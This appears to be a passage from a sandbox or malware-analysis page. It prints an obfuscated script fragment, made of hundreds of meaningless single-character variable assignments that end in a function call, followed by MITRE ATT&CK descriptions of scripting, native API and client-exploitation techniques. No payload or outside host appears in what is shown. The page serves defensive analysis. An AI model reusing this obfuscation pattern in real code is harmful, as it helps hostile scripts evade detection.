352	anbidktqf = "y";
353	anbidktqf = "g";
354	anbidktqf = "I";
355	anbidktqf = "/";
356	fzbpi = "z";
357	fzbpi = "W";
358	fzbpi = "r";
359	fzbpi = "p";
360	fzbpi = "i";
361	fzbpi = "j";
362	fzbpi = "G";
363	fzbpi = "v";
364	fzbpi = "W";
365	fzbpi = "W";
366	fzbpi = "Q";
367	fzbpi = "K";
368	fzbpi = "v";
369	fzbpi = "l";
370	fzbpi = "l";
371	fzbpi = "K";
372	fzbpi = "N";
373	rhdjnsas = "J";
374	rhdjnsas = "r";
375	rhdjnsas = "f";
376	rhdjnsas = "X";
377	rhdjnsas = "v";
378	rhdjnsas = "n";
379	rhdjnsas = "g";
380	rhdjnsas = "j";
381	rhdjnsas = "s";
382	rhdjnsas = "l";
383	rhdjnsas = "z";
384	rhdjnsas = "j";
385	rhdjnsas = ":";
386	yqmmk = "e";
387	yqmmk = "Z";
388	yqmmk = "p";
389	yqmmk = "k";
390	yqmmk = "s";
391	yqmmk = "m";
392	yqmmk = "a";
393	yqmmk = "o";
394	yqmmk = "O";
395	lstgnbqu = "d";
396	lstgnbqu = "T";
397	lstgnbqu = "c";
398	lstgnbqu = "m";
399	lstgnbqu = "B";
400	lstgnbqu = "F";
401	lstgnbqu = "w";
402	lstgnbqu = "r";
403	lstgnbqu = "k";
404	lstgnbqu = "K";
405	lstgnbqu = "s";
406	lstgnbqu = "I";
407	lstgnbqu = "e";
408	lstgnbqu = "P";
409	lstgnbqu = "Z";
410	lstgnbqu = "k";
411	lstgnbqu = "o";
412	lstgnbqu = "o";
413	lstgnbqu = "S";
414	lstgnbqu = "Y";
415	lstgnbqu = "T";
416	lstgnbqu = "T";
417	lstgnbqu = "Z";
418	lstgnbqu = "Z";
419	lstgnbqu = "n";
420	lstgnbqu = "q";
421	lstgnbqu = "C";
422	lstgnbqu = "c";
423	lstgnbqu = "v";
424	lstgnbqu = "S";
425	lstgnbqu = "K";
426	lstgnbqu = "g";
427	lstgnbqu = "i";
428	lstgnbqu = "g";
429	lstgnbqu = "p";
430	xnlox = "s";
431	xnlox = "F";
432	xnlox = "C";
433	xnlox = "C";
434	xnlox = "B";
435	xnlox = "Y";
436	xnlox = "N";
437	xnlox = "t";
438	xnlox = "x";
439	xnlox = "M";
440	xnlox = "i";
441	xnlox = "W";
442	xnlox = "F";
443	xnlox = "X";
444	xnlox = "E";
445	xnlox = "i";
446	xnlox = "h";
447	xnlox = "l";
448	xnlox = "z";
449	xnlox = "w";
450	xnlox = "p";
451	xnlox = "q";
452	xnlox = "p";
453	xnlox = "q";
454	xnlox = "I";
455	xnlox = "i";
456	xnlox = "N";
457	xnlox = "C";
458	xnlox = "c";
459	xnlox = "I";
460	xnlox = "4";
461	yzipm = "l";
462	yzipm = "T";
463	hbdvsobn = "V";
464	hbdvsobn = "b";
465	hbdvsobn = "M";
466	hbdvsobn = "A";
467	hbdvsobn = "R";
468	hbdvsobn = "q";
469	hbdvsobn = "l";
470	hbdvsobn = "o";
471	hbdvsobn = "I";
472	hbdvsobn = "D";
473	hbdvsobn = "g";
474	hbdvsobn = "r";
475	hbdvsobn = "u";
476	hbdvsobn = "l";
477	hbdvsobn = "N";
478	hbdvsobn = "P";
479	hbdvsobn = "U";
480	hbdvsobn = "S";
481	hbdvsobn = "V";
482	hbdvsobn = "g";
483	hbdvsobn = "X";
484	hbdvsobn = "F";
485	hbdvsobn = "y";
486	hbdvsobn = "l";
487	hbdvsobn = "g";
488	hbdvsobn = "J";
489	hbdvsobn = "z";
490	hbdvsobn = "U";
491	hbdvsobn = "y";
492	hbdvsobn = "J";
493	hbdvsobn = "l";
494	hbdvsobn = "l";
495	hbdvsobn = "o";
496	njepgx = "N";
497	njepgx = "U";
498	njepgx = "W";
499	njepgx = "E";
500	njepgx = "O";
501	njepgx = "h";
502	njepgx = "a";
503	njepgx = "w";
504	njepgx = "v";
505	njepgx = "Z";
506	njepgx = "n";
507	njepgx = "s";
508	njepgx = "M";
509	njepgx = "Q";
510	njepgx = "Z";
511	njepgx = "e";
512	njepgx = "j";
513	njepgx = "f";
514	njepgx = "b";
515	njepgx = "f";
516	njepgx = "y";
517	njepgx = "Z";
518	njepgx = "j";
519	njepgx = "z";
520	njepgx = "m";
521	njepgx = "c";
522	njepgx = "N";
523	njepgx = "x";
524	njepgx = "I";
525	njepgx = "g";
526	njepgx = "k";
527	njepgx = "H";
528	njepgx = "K";
529	njepgx = "y";
530	njepgx = "U";
531	njepgx = "M";
532	njepgx = "p";
533	njepgx = "L";
534	njepgx = "O";
535	njepgx = "C";
536	hwisvworq = "W";
537	hwisvworq = "l";
538	hwisvworq = "o";
539	hwisvworq = "Q";
540	hwisvworq = "F";
541	hwisvworq = "R";
542	hwisvworq = "a";
543	hwisvworq = "W";
544	hwisvworq = "b";
545	hwisvworq = "Y";
546	hwisvworq = "N";
547	hwisvworq = "Z";
548	hwisvworq = "i";
549	hwisvworq = "e";
550	hwisvworq = "W";
551	hwisvworq = "c";
552	hwisvworq = "Z";
553	hwisvworq = "Z";
554	hwisvworq = "l";
555	hwisvworq = "H";
556	hwisvworq = "E";
557	nopkftzly = "g";
558	nopkftzly = "w";
559	nopkftzly = "o";
560	nopkftzly = "Y";
561	nopkftzly = "i";
562	nopkftzly = "Y";
563	nopkftzly = "e";
564	nopkftzly = "Z";
565	nopkftzly = "Z";
566	nopkftzly = "U";
567	nopkftzly = "B";
568	nopkftzly = "o";
569	nopkftzly = "D";
570	nopkftzly = "R";
571	nopkftzly = "v";
572	nopkftzly = "m";
573	nopkftzly = "p";
574	nopkftzly = "o";
575	nopkftzly = "C";
576	nopkftzly = "s";
577	nopkftzly = "L";
578	xyjkqa = "u";
579	xyjkqa = "I";
580	xyjkqa = "M";
581	xyjkqa = "b";
582	xyjkqa = "p";
583	xyjkqa = "q";
584	xyjkqa = "r";
585	xyjkqa = "v";
586	xyjkqa = "W";
587	xyjkqa = "E";
588	xyjkqa = "X";
589	xyjkqa = "s";
590	agxgzoz = "X";
591	agxgzoz = "Y";
592	agxgzoz = "k";
593	agxgzoz = "X";
594	agxgzoz = "F";
595	agxgzoz = "o";
596	agxgzoz = "A";
597	agxgzoz = "v";
598	agxgzoz = "y";
599	agxgzoz = "k";
600	agxgzoz = "g";
601	agxgzoz = "I";
602	agxgzoz = "E";
603	agxgzoz = "W";
604	agxgzoz = "x";
605	agxgzoz = "w";
606	agxgzoz = "H";
607	agxgzoz = "D";
608	agxgzoz = "s";
609	agxgzoz = "P";
610	agxgzoz = "R";
611	agxgzoz = "v";
612	agxgzoz = "V";
613	agxgzoz = "y";
614	agxgzoz = "h";
615	agxgzoz = "g";
616	agxgzoz = "Z";
617	agxgzoz = "K";
618	agxgzoz = "u";
619	agxgzoz = "w";
620	agxgzoz = "s";
621	agxgzoz = "b";
622	agxgzoz = "A";
623	agxgzoz = "R";
624	agxgzoz = "g";
625	agxgzoz = "k";
626	agxgzoz = "k";
627	agxgzoz = "5";
628	lfynezz = "v";
629	lfynezz = "t";
630	lfynezz = "S";
631	lfynezz = "T";
632	lfynezz = "W";
633	lfynezz = "N";
634	lfynezz = "U";
635	lfynezz = "N";
636	lfynezz = "n";
637	lfynezz = "Q";
638	lfynezz = "f";
639	lfynezz = "R";
640	lfynezz = "Z";
641	lfynezz = "R";
642	lfynezz = "d";
643	lfynezz = "G";
644	lfynezz = "Q";
645	lfynezz = "z";
646	lfynezz = "x";
647	lfynezz = "t";
648	lfynezz = "Z";
649	lfynezz = "U";
650	lfynezz = "g";
651	lfynezz = "F";
652	lfynezz = "T";
653	lfynezz = "v";
654	lfynezz = "X";
655	lfynezz = "o";
656	lfynezz = "u";
657	lfynezz = "l";
658	lfynezz = "p";
659	lfynezz = "o";
660	lfynezz = "q";
661	lfynezz = "q";
662	lfynezz = "S";
663	lfynezz = "K";
664	lfynezz = "g";
665	lfynezz = "F";
666	lfynezz = "l";
667	lfynezz = "f";
668	lfynezz = "G";
669	lfynezz = "W";
670	czfkjfer = "T";
671	czfkjfer = "q";
672	czfkjfer = "y";
673	czfkjfer = "t";
674	czfkjfer = "i";
675	czfkjfer = "P";
676	czfkjfer = "D";
677	czfkjfer = "Z";
678	czfkjfer = "U";
679	czfkjfer = "D";
680	czfkjfer = "D";
681	czfkjfer = "j";
682	czfkjfer = "T";
683	czfkjfer = "z";
684	czfkjfer = "W";
685	czfkjfer = "g";
686	wlgbnnui = "w";
687	wlgbnnui = "K";
688	wlgbnnui = "o";
689	wlgbnnui = "V";
690	wlgbnnui = "_";
691	cubjfv = "I";
692	cubjfv = "M";
693	cubjfv = "Z";
694	cubjfv = "J";
695	cubjfv = "V";
696	cubjfv = "v";
697	cubjfv = "K";
698	cubjfv = "J";
699	cubjfv = "R";
700	cubjfv = "o";
701	cubjfv = "n";
702	cubjfv = "u";
703	cubjfv = "C";
704	cubjfv = "a";
705	cubjfv = "H";
706	cubjfv = "X";
707	cubjfv = "X";
708	cubjfv = "x";
709	cubjfv = "Y";
710	cubjfv = "b";
711	cubjfv = "b";
712	cubjfv = "y";
713	cubjfv = "N";
714	cubjfv = "M";
715	cubjfv = "Z";
716	cubjfv = "a";
717	cubjfv = "d";
718	cubjfv = "B";
719	cubjfv = "m";
720	cubjfv = "X";
721	cubjfv = "Q";
722	cubjfv = "J";
723	cubjfv = "w";
724	cubjfv = "E";
725	cubjfv = "K";
726	cubjfv = "C";
727	cubjfv = "G";
728	cubjfv = "B";
729	cubjfv = "F";
730	cubjfv = "q";
731	cubjfv = "F";
732	cubjfv = "x";
733	cubjfv = "u";
734	cubjfv = "B";
735	cubjfv = "&";
736	izwbg = "P";
737	izwbg = "b";
738	izwbg = "X";
739	izwbg = "h";
740	izwbg = "p";
741	izwbg = "f";
742	izwbg = "w";
743	izwbg = "s";
744	izwbg = "O";
745	izwbg = "d";
746	izwbg = "l";
747	izwbg = "-";
748	wuysc = "H";
749	wuysc = "I";
750	wuysc = "o";
751	wuysc = "f";
752	wuysc = "e";
753	wuysc = "J";
754	wuysc = "z";
755	wuysc = "k";
756	wuysc = "n";
757	wuysc = "S";
758	kvhuflr = "l";
759	kvhuflr = "U";
760	kvhuflr = "G";
761	kvhuflr = "r";
762	kvhuflr = "u";
763	kvhuflr = "I";
764	kvhuflr = "W";
765	kvhuflr = "y";
766	kvhuflr = "K";
767	kvhuflr = "F";
768	kvhuflr = "e";
769	kvhuflr = "S";
770	kvhuflr = "G";
771	kvhuflr = "E";
772	kvhuflr = "L";
773	kvhuflr = "I";
774	kvhuflr = "q";
775	kvhuflr = "k";
776	kvhuflr = "q";
777	kvhuflr = "r";
778	kvhuflr = "x";
779	kvhuflr = "l";
780	kvhuflr = "X";
781	kvhuflr = "J";
782	kvhuflr = "o";
783	kvhuflr = "y";
784	kvhuflr = "E";
785	kvhuflr = "t";
786	kvhuflr = "K";
787	kvhuflr = "A";
788	kvhuflr = "B";
789	kvhuflr = "b";
790	kvhuflr = "Q";
791	kvhuflr = "a";
792	kvhuflr = "F";
793	kvhuflr = "h";
794	kvhuflr = "m";
795	kvhuflr = "K";
796	kvhuflr = "M";
797	kvhuflr = "D";
798	kvhuflr = "n";
799	iginhamfr = "K";
800	iginhamfr = "T";
801	iginhamfr = "a";
802	iginhamfr = "a";
803	iginhamfr = "B";
804	iginhamfr = "V";
805	iginhamfr = "y";
806	iginhamfr = "d";
807	iginhamfr = "h";
808	iginhamfr = "9";
809	phjysi = "D";
810	phjysi = "j";
811	phjysi = "g";
812	phjysi = "p";
813	phjysi = "h";
814	phjysi = "y";
815	phjysi = "t";
816	phjysi = "t";
817	phjysi = "g";
818	phjysi = "H";
819	phjysi = "K";
820	phjysi = "R";
821	phjysi = "Y";
822	phjysi = "O";
823	phjysi = "y";
824	phjysi = "m";
825	phjysi = "n";
826	phjysi = "F";
827	abncgnbdo = "z";
828	abncgnbdo = "G";
829	abncgnbdo = "Y";
830	abncgnbdo = "w";
831	abncgnbdo = "E";
832	abncgnbdo = "Q";
833	abncgnbdo = "W";
834	abncgnbdo = "U";
835	abncgnbdo = "Z";
836	abncgnbdo = "E";
837	abncgnbdo = "x";
838	abncgnbdo = "M";
839	abncgnbdo = "I";
840	abncgnbdo = "N";
841	abncgnbdo = "J";
842	abncgnbdo = "h";
843	abncgnbdo = "R";
844	abncgnbdo = "M";
845	abncgnbdo = "N";
846	abncgnbdo = "c";
847	abncgnbdo = "y";
848	abncgnbdo = "U";
849	abncgnbdo = "o";
850	abncgnbdo = "e";
851	abncgnbdo = "Q";
852	abncgnbdo = "u";
853	abncgnbdo = "0";
854	vitwjm = "x";
855	vitwjm = "T";
856	vitwjm = "b";
857	vitwjm = "C";
858	vitwjm = "X";
859	vitwjm = "S";
860	vitwjm = "a";
861	vitwjm = "j";
862	vitwjm = "M";
863	vitwjm = "c";
864	pczsvz = "n";
865	pczsvz = "r";
866	pczsvz = "b";
867	pczsvz = "V";
868	pczsvz = "A";
869	pczsvz = "J";
870	pczsvz = "U";
871	pczsvz = "R";
872	pczsvz = "k";
873	pczsvz = "k";
874	pczsvz = "T";
875	pczsvz = "W";
876	pczsvz = "r";
877	pczsvz = "f";
878	ectefjk = "X";
879	ectefjk = "L";
880	ectefjk = "s";
881	ectefjk = "i";
882	ectefjk = "t";
883	ectefjk = "w";
884	ectefjk = "V";
885	ectefjk = "g";
886	ectefjk = "W";
887	ectefjk = "g";
888	ectefjk = "R";
889	ectefjk = "Z";
890	ectefjk = "D";
891	ectefjk = "K";
892	ectefjk = "m";
893	ectefjk = "y";
894	ectefjk = "x";
895	ectefjk = "h";
896	ectefjk = "O";
897	ectefjk = "T";
898	ectefjk = "E";
899	ectefjk = "W";
900	ectefjk = "v";
901	ectefjk = "g";
902	ectefjk = "V";
903	ectefjk = "x";
904	ectefjk = "g";
905	ectefjk = "d";
906	ectefjk = "c";
907	ectefjk = "h";
908	ectefjk = "W";
909	ectefjk = "z";
910	ectefjk = "u";
911	ectefjk = "i";
912	ectefjk = "c";
913	ectefjk = "Q";
914	ectefjk = "D";
915	ectefjk = "m";
916	ectefjk = "u";
917	ectefjk = "C";
918	ectefjk = "H";
919	ectefjk = "r";
920	ectefjk = "G";
921	ectefjk = "3";
922	lunleifa = "p";
923	lunleifa = "t";
924	lunleifa = "T";
925	lunleifa = "k";
926	lunleifa = "Q";
927	lunleifa = "A";
928	lunleifa = "A";
929	lunleifa = "m";
930	qukarwai = "Q";
931	qukarwai = "W";
932	qukarwai = "z";
933	qukarwai = "I";
934	qukarwai = "f";
935	qukarwai = "l";
936	qukarwai = "f";
937	qukarwai = "e";
938	qukarwai = "s";
939	qukarwai = "N";
940	qukarwai = "t";
941	qukarwai = "E";
942	qukarwai = "l";
943	qukarwai = "w";
944	qukarwai = "s";
945	qukarwai = "r";
946	qukarwai = "j";
947	qukarwai = "c";
948	qukarwai = "U";
949	qukarwai = "F";
950	qukarwai = "a";
951	qukarwai = "L";
952	qukarwai = "s";
953	qukarwai = "h";
954	qukarwai = "r";
955	qukarwai = "s";
956	qukarwai = "d";
957	qukarwai = "l";
958	qukarwai = "w";
959	qukarwai = "n";
960	qukarwai = "y";
961	qukarwai = "Y";
962	qukarwai = "g";
963	qukarwai = "x";
964	qukarwai = "D";
965	qukarwai = "C";
966	qukarwai = "d";
967	qukarwai = "W";
968	qukarwai = "A";
969	qukarwai = "N";
970	qukarwai = "J";
971	qukarwai = "E";
972	qukarwai = "n";
973	qukarwai = "a";
974	wtxkejobq = "U";
975	wtxkejobq = "Z";
976	wtxkejobq = "f";
977	wtxkejobq = "u";
978	wtxkejobq = "v";
979	wtxkejobq = "R";
980	wtxkejobq = "y";
981	wtxkejobq = "s";
982	wtxkejobq = "l";
983	aahrrz = "V";
984	aahrrz = "Y";
985	aahrrz = "a";
986	aahrrz = "V";
987	aahrrz = "V";
988	aahrrz = "s";
989	aahrrz = "s";
990	aahrrz = "r";
991	aahrrz = "x";
992	aahrrz = "w";
993	aahrrz = "y";
994	aahrrz = "K";
995	aahrrz = "S";
996	aahrrz = "U";
997	aahrrz = "H";
998	aahrrz = "S";
999	aahrrz = "U";
1000	aahrrz = "G";
1001	aahrrz = "n";
1002	aahrrz = "U";
1003	aahrrz = "C";
1004	aahrrz = "Q";
1005	aahrrz = "u";
1006	aahrrz = "p";
1007	aahrrz = "Q";
1008	aahrrz = "V";
1009	aahrrz = "w";
1010	aahrrz = "b";
1011	aahrrz = "n";
1012	aahrrz = "w";
1013	rhggk = "q";
1014	rhggk = "D";
1015	rhggk = "o";
1016	rhggk = "Z";
1017	rhggk = "N";
1018	rhggk = "p";
1019	rhggk = "a";
1020	rhggk = "V";
1021	rhggk = "j";
1022	rhggk = "N";
1023	rhggk = "v";
1024	rhggk = "T";
1025	rhggk = "Q";
1026	rhggk = "n";
1027	rhggk = "o";
1028	rhggk = "h";
1029	rhggk = "w";
1030	rhggk = "R";
1031	rhggk = "g";
1032	rhggk = "r";
1033	rhggk = "u";
1034	rhggk = "B";
1035	rhggk = "U";
1036	rhggk = "n";
1037	rhggk = "M";
1038	rhggk = "R";
1039	rhggk = "m";
1040	rhggk = "F";
1041	rhggk = "j";
1042	rhggk = "W";
1043	rhggk = "Z";
1044	rhggk = "d";
1045	rhggk = "d";
1046	rhggk = "r";
1047	rhggk = "j";
1048	rhggk = "L";
1049	rhggk = "T";
1050	rhggk = "n";
1051	rhggk = "s";
1052	rhggk = "Q";
1053	rhggk = "J";
1054	rhggk = "D";
1055	rhggk = "P";
1056	rhggk = "j";
1057	zhwebkrv = "y";
1058	zhwebkrv = "E";
1059	zhwebkrv = "b";
1060	zhwebkrv = "y";
1061	zhwebkrv = "o";
1062	zhwebkrv = "F";
1063	zhwebkrv = "v";
1064	zhwebkrv = "l";
1065	zhwebkrv = "e";
1066	zhwebkrv = "M";
1067	zhwebkrv = "l";
1068	zhwebkrv = "a";
1069	zhwebkrv = "U";
1070	zhwebkrv = "f";
1071	zhwebkrv = "L";
1072	zhwebkrv = "D";
1073	zhwebkrv = "k";
1074	zhwebkrv = "C";
1075	zhwebkrv = "e";
1076	zhwebkrv = "U";
1077	zhwebkrv = "m";
1078	zhwebkrv = "y";
1079	zhwebkrv = "Y";
1080	zhwebkrv = "J";
1081	zhwebkrv = "B";
1082	zhwebkrv = "D";
1083	zhwebkrv = "H";
1084	zhwebkrv = "k";
1085	zhwebkrv = "H";
1086	zhwebkrv = "p";
1087	zhwebkrv = "t";
1088	zhwebkrv = "R";
1089	zhwebkrv = "G";
1090	zhwebkrv = "s";
1091	zhwebkrv = "m";
1092	zhwebkrv = "j";
1093	zhwebkrv = "X";
1094	zhwebkrv = "z";
1095	zhwebkrv = "U";
1096	zhwebkrv = "j";
1097	zhwebkrv = "i";
1098	zhwebkrv = "u";
1099	zhwebkrv = "f";
1100	zhwebkrv = "R";
1101	zhwebkrv = "b";
1102	fvydmkqn = "j";
1103	fvydmkqn = "j";
1104	fvydmkqn = "c";
1105	fvydmkqn = "L";
1106	fvydmkqn = "W";
1107	fvydmkqn = "h";
1108	fvydmkqn = "I";
1109	fvydmkqn = "B";
1110	fvydmkqn = "S";
1111	fvydmkqn = "R";
1112	fvydmkqn = "g";
1113	fvydmkqn = "Q";
1114	fvydmkqn = "x";
1115	fvydmkqn = "C";
1116	fvydmkqn = "M";
1117	fvydmkqn = "x";
1118	fvydmkqn = "t";
1119	lwstsh = "f";
1120	lwstsh = "R";
1121	lwstsh = "E";
1122	lwstsh = "y";
1123	lwstsh = "s";
1124	lwstsh = "g";
1125	lwstsh = "V";
1126	lwstsh = "p";
1127	lwstsh = "O";
1128	lwstsh = "v";
1129	lwstsh = "U";
1130	lwstsh = "j";
1131	lwstsh = "q";
1132	lwstsh = "T";
1133	lwstsh = "A";
1134	lwstsh = "c";
1135	lwstsh = "n";
1136	lwstsh = "E";
1137	lwstsh = "H";
1138	lwstsh = "j";
1139	lwstsh = "N";
1140	lwstsh = "W";
1141	lwstsh = "A";
1142	lwstsh = "x";
1143	lwstsh = "R";
1144	mfjoqblsk = "D";
1145	mfjoqblsk = "L";
1146	mfjoqblsk = "N";
1147	mfjoqblsk = "a";
1148	mfjoqblsk = "v";
1149	mfjoqblsk = "q";
1150	mfjoqblsk = "P";
1151	mfjoqblsk = "Z";
1152	mfjoqblsk = "g";
1153	mfjoqblsk = "n";
1154	mfjoqblsk = "z";
1155	mfjoqblsk = "R";
1156	mfjoqblsk = "u";
1157	mfjoqblsk = "x";
1158	mfjoqblsk = "a";
1159	mfjoqblsk = "Q";
1160	mfjoqblsk = "y";
1161	mfjoqblsk = "l";
1162	mfjoqblsk = "Q";
1163	mfjoqblsk = "R";
1164	mfjoqblsk = "P";
1165	mfjoqblsk = "K";
1166	mfjoqblsk = "O";
1167	mfjoqblsk = "n";
1168	mfjoqblsk = ".";
1169	wxujatv = "n";
1170	wxujatv = "q";
1171	wxujatv = "o";
1172	wxujatv = "s";
1173	wxujatv = "e";
1174	wxujatv = "L";
1175	wxujatv = "H";
1176	wxujatv = "l";
1177	wxujatv = "N";
1178	wxujatv = "S";
1179	wxujatv = "c";
1180	wxujatv = "i";
1181	wxujatv = "D";
1182	wxujatv = "i";
1183	wxujatv = "z";
1184	wxujatv = "c";
1185	wxujatv = "R";
1186	wxujatv = "J";
1187	wxujatv = "M";
1188	wxujatv = "v";
1189	wxujatv = "E";
1190	wxujatv = "l";
1191	wxujatv = "D";
1192	wxujatv = "k";
1193	wxujatv = "h";
1194	sbisqoqp = "r";
1195	sbisqoqp = "n";
1196	sbisqoqp = "h";
1197	sbisqoqp = "Z";
1198	sbisqoqp = "d";
1199	sbisqoqp = "Z";
1200	sbisqoqp = "D";
1201	sbisqoqp = "f";
1202	sbisqoqp = "e";
1203	sbisqoqp = "q";
1204	sbisqoqp = "q";
1205	sbisqoqp = "D";
1206	sbisqoqp = "L";
1207	sbisqoqp = "Z";
1208	sbisqoqp = "R";
1209	sbisqoqp = "b";
1210	sbisqoqp = "S";
1211	sbisqoqp = "F";
1212	sbisqoqp = "R";
1213	sbisqoqp = "g";
1214	sbisqoqp = "d";
1215	sbisqoqp = "G";
1216	sbisqoqp = "x";
1217	sbisqoqp = "i";
1218	sbisqoqp = "P";
1219	sbisqoqp = "K";
1220	mahkbum = "u";
1221	mahkbum = "F";
1222	mahkbum = "%";
1223	dwlccodc = "q";
1224	dwlccodc = "I";
1225	efueux = "M";
1226	efueux = "T";
1227	efueux = "a";
1228	efueux = "i";
1229	efueux = "o";
1230	efueux = "w";
1231	efueux = "m";
1232	efueux = "j";
1233	efueux = "U";
1234	efueux = "O";
1235	efueux = "Z";
1236	efueux = "I";
1237	efueux = "X";
1238	efueux = "B";
1239	efueux = "s";
1240	efueux = "e";
1241	efueux = "L";
1242	efueux = "B";
1243	efueux = "D";
1244	efueux = "d";
1245	efueux = "u";
1246	vwupzhn = "M";
1247	vwupzhn = "v";
1248	vwupzhn = "J";
1249	vwupzhn = "s";
1250	vwupzhn = "F";
1251	vwupzhn = "l";
1252	vwupzhn = "l";
1253	vwupzhn = "f";
1254	vwupzhn = "N";
1255	vwupzhn = "y";
1256	vwupzhn = "L";
1257	vwupzhn = "W";
1258	vwupzhn = "R";
1259	vwupzhn = "U";
1260	vwupzhn = "O";
1261	vwupzhn = "K";
1262	vwupzhn = "A";
1263	vwupzhn = "O";
1264	vwupzhn = "N";
1265	vwupzhn = "S";
1266	vwupzhn = "e";
1267	vwupzhn = "t";
1268	vwupzhn = "f";
1269	vwupzhn = "j";
1270	vwupzhn = "A";
1271	vwupzhn = "b";
1272	vwupzhn = "K";
1273	vwupzhn = "V";
1274	vwupzhn = "S";
1275	vwupzhn = "T";
1276	vwupzhn = "T";
1277	vwupzhn = "K";
1278	vwupzhn = "w";
1279	vwupzhn = "c";
1280	vwupzhn = "z";
1281	vwupzhn = "q";
1282	vwupzhn = "a";
1283	vwupzhn = "U";
1284	vwupzhn = "A";
1285	vwupzhn = "i";
1286	vwupzhn = "a";
1287	vwupzhn = "C";
1288	vwupzhn = "T";
1289	vwupzhn = "7";
1290	pfcfgmr = "F";
1291	pfcfgmr = "U";
1292	pfcfgmr = "F";
1293	pfcfgmr = "l";
1294	pfcfgmr = "f";
1295	pfcfgmr = "w";
1296	pfcfgmr = "u";
1297	pfcfgmr = "d";
1298	pfcfgmr = "X";
1299	pfcfgmr = "G";
1300	pfcfgmr = "j";
1301	pfcfgmr = "M";
1302	pfcfgmr = "Y";
1303	pfcfgmr = "j";
1304	pfcfgmr = "G";
1305	pfcfgmr = "J";
1306	pfcfgmr = "c";
1307	pfcfgmr = "Y";
1308	pfcfgmr = "V";
1309	pfcfgmr = "b";
1310	pfcfgmr = "t";
1311	pfcfgmr = "H";
1312	pfcfgmr = "p";
1313	pfcfgmr = "i";
1314	pfcfgmr = "k";
1315	pfcfgmr = "s";
1316	pfcfgmr = "E";
1317	pfcfgmr = "y";
1318	pfcfgmr = "Y";
1319	pfcfgmr = "c";
1320	pfcfgmr = "2";
1321	ivpcwdfg = "A";
1322	ivpcwdfg = "I";
1323	ivpcwdfg = "x";
1324	ivpcwdfg = "u";
1325	ivpcwdfg = "m";
1326	ivpcwdfg = "U";
1327	ivpcwdfg = "B";
1328	ivpcwdfg = "Y";
1329	ivpcwdfg = "F";
1330	ivpcwdfg = "b";
1331	ivpcwdfg = "y";
1332	ivpcwdfg = "V";
1333	ivpcwdfg = "A";
1334	ivpcwdfg = "c";
1335	ivpcwdfg = "w";
1336	ivpcwdfg = "S";
1337	ivpcwdfg = "G";
1338	ivpcwdfg = "C";
1339	ivpcwdfg = "l";
1340	ivpcwdfg = "G";
1341	ivpcwdfg = "Q";
1342	ivpcwdfg = "I";
1343	ivpcwdfg = "m";
1344	ivpcwdfg = "i";
1345	ivpcwdfg = "C";
1346	ivpcwdfg = "q";
1347	oofpz = "U";
1348	oofpz = "y";
1349	oofpz = "D";
1350	oofpz = "C";
1351	oofpz = "A";
1352	oofpz = "O";
1353	oofpz = "I";
1354	oofpz = "k";
1355	oofpz = "T";
1356	oofpz = "V";
1357	oofpz = "r";
1358	oofpz = "S";
1359	oofpz = "m";
1360	oofpz = "D";
1361	oofpz = "X";
1362	oofpz = "z";
1363	oofpz = "W";
1364	oofpz = "T";
1365	oofpz = "h";
1366	oofpz = "w";
1367	oofpz = "p";
1368	oofpz = "n";
1369	oofpz = "i";
1370	gjfmkn = "A";
1371	gjfmkn = "q";
1372	gjfmkn = "V";
1373	gjfmkn = "H";
1374	gjfmkn = "o";
1375	gjfmkn = "u";
1376	gjfmkn = "e";
1377	gjfmkn = "w";
1378	gjfmkn = "V";
1379	gjfmkn = "l";
1380	gjfmkn = "g";
1381	gjfmkn = "F";
1382	gjfmkn = "I";
1383	gjfmkn = "P";
1384	gjfmkn = "i";
1385	gjfmkn = "s";
1386	gjfmkn = "z";
1387	gjfmkn = "j";
1388	gjfmkn = "d";
1389	gjfmkn = "D";
1390	gjfmkn = "G";
1391	gjfmkn = "e";
1392	gjfmkn = "F";
1393	gjfmkn = "Y";
1394	gjfmkn = "f";
1395	gjfmkn = "z";
1396	gjfmkn = "l";
1397	gjfmkn = "W";
1398	gjfmkn = "k";
1399	gjfmkn = "Q";
1400	gjfmkn = "n";
1401	gjfmkn = "Y";
1402	gjfmkn = "f";
1403	gjfmkn = "G";
1404	gjfmkn = "r";
1405	iliij = "K";
1406	iliij = "I";
1407	iliij = "B";
1408	iliij = "H";
1409	axzyurxf = "e";
1410	axzyurxf = "t";
1411	axzyurxf = "X";
1412	axzyurxf = "c";
1413	axzyurxf = "F";
1414	axzyurxf = "W";
1415	axzyurxf = "y";
1416	axzyurxf = "W";
1417	axzyurxf = "f";
1418	axzyurxf = "L";
1419	axzyurxf = "b";
1420	axzyurxf = "K";
1421	axzyurxf = "D";
1422	axzyurxf = "1";
1423	xvzzgpuul = "N";
1424	xvzzgpuul = "Q";
1425	xvzzgpuul = "s";
1426	xvzzgpuul = "q";
1427	xvzzgpuul = "u";
1428	xvzzgpuul = "J";
1429	xvzzgpuul = "Y";
1430	ctckuaf = "x";
1431	ctckuaf = "U";
1432	ctckuaf = "L";
1433	ctckuaf = "e";
1434	wbffg ( );	wbffg() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
